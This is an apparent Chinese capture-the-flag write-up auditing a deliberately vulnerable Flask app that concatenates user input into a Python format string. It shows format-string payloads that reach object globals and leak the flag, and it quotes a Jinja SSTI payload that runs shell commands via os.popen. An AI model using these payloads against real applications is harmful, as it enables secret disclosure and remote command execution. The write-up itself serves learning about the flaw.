代码审计
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg)
if __name__ == "__main__":
app.run()
主要看最后,
message = "Your flag is {0}" + exp
return message.format(flAg)
这两句话是我们解题的关键,这题考的考点就是format函数吧,我们首先了解一下format(flAg) 是一个字符串方法,用于将字符串中的占位符 {} 替换为 flAg 变量的值。例如:
python
name = "world"
message = "Hello, {}!".format(name)
print(message) # 输出:Hello, world!
理解之后我们看下题目的话的意思就是
message = "Your flag is flAg" + exp
但是我们不知道FLAG函数是什么,然后看到本题是flask框架,所有尝试ssti,也像ssti,如果我们了解这个知识的话就很好做了
那我们只需要让exp带0就好了,但是这里和ssti不同的就是单括号
{0.__class__}页面上没有回显,回显在源码里面
Your flag is
{0.__class__.__bases__[0]}
Your flag is
但是你妹的{0.__class__.__bases__[0]__subclasses__()}没东西
把括号去掉{0.__class__.__bases__[0]__subclasses__}
Your flag is
也没有利用的空间啊,lipsum肯定是不行的,因为必须有0
还要一种{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
当输入{0.__class__.__init__.__globals__}flag就出现了,但是
按照以前的不可以执行命令,我们思考一下为什么
我们上面payload执行命令的本质是config里面有os,但是我们这里的里面是没有这些东西的,global我们可以看到里面的全局变量,所有看到了flag